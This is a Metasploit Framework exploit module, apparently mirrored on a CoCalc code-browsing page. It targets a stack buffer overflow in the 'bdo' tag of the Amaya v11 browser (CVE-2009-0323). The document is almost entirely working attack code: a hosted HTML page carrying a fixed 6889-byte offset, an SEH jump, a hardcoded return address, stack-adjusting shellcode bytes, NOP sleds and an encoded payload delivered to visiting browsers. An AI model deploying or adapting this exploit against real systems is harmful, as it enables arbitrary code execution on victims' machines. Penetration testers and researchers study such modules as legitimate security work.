Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/amaya_bdo.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => "Amaya Browser v11.0 'bdo' Tag Overflow",
17
'Description' => %q{
18
This module exploits a stack buffer overflow in the Amaya v11 Browser.
19
By sending an overly long string to the "bdo"
20
tag, an attacker may be able to execute arbitrary code.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [ 'dookie, original exploit by Rob Carter' ],
24
'References' => [
25
[ 'CVE', '2009-0323' ],
26
[ 'OSVDB', '55721' ],
27
[ 'BID', '33046' ],
28
[ 'BID', '33047' ]
29
],
30
'DefaultOptions' => {
31
'EXITFUNC' => 'process',
32
},
33
'Payload' => {
34
'Space' => 970,
35
'BadChars' => "\x00",
36
'StackAdjustment' => -3500,
37
},
38
'Platform' => 'win',
39
'Targets' => [
40
[ 'Amaya Browser v11', { 'Offset' => 6889, 'Ret' => 0x02101034 } ], # wxmsw28u_core_vc_custom.dll
41
],
42
'DisclosureDate' => '2009-01-28',
43
'DefaultTarget' => 0,
44
'Notes' => {
45
'Reliability' => UNKNOWN_RELIABILITY,
46
'Stability' => UNKNOWN_STABILITY,
47
'SideEffects' => UNKNOWN_SIDE_EFFECTS
48
}
49
)
50
)
51
end
52
53
def on_request_uri(cli, request)
54
# Re-generate the payload
55
return if ((p = regenerate_payload(cli)) == nil)
56
57
# Set the exploit buffer
58
sploit = "<bdo dir=\""
59
sploit += rand_text_alpha(6889)
60
sploit += "\x74\x06\x41\x41"
61
sploit += [target.ret].pack('V')
62
sploit += "\x68\x7f\x01\x01\x7f" # push 7F01017F
63
sploit += "\x58" # pop EAX
64
sploit += "\x2d\x18\x69\x45\x7d" # sub EAX, 7A7A0857
65
sploit += "\x50" # push EAX
66
sploit += "\xc3" # RETN
67
sploit += make_nops(100)
68
sploit += payload.encoded
69
sploit += make_nops(970 - payload.encoded.length)
70
sploit += "\">pwned!</bdo>"
71
72
print_status("Sending #{self.name}")
73
74
# Transmit the response to the client
75
send_response_html(cli, sploit)
76
77
# Handle the payload
78
handler(cli)
79
end
80
end
81
82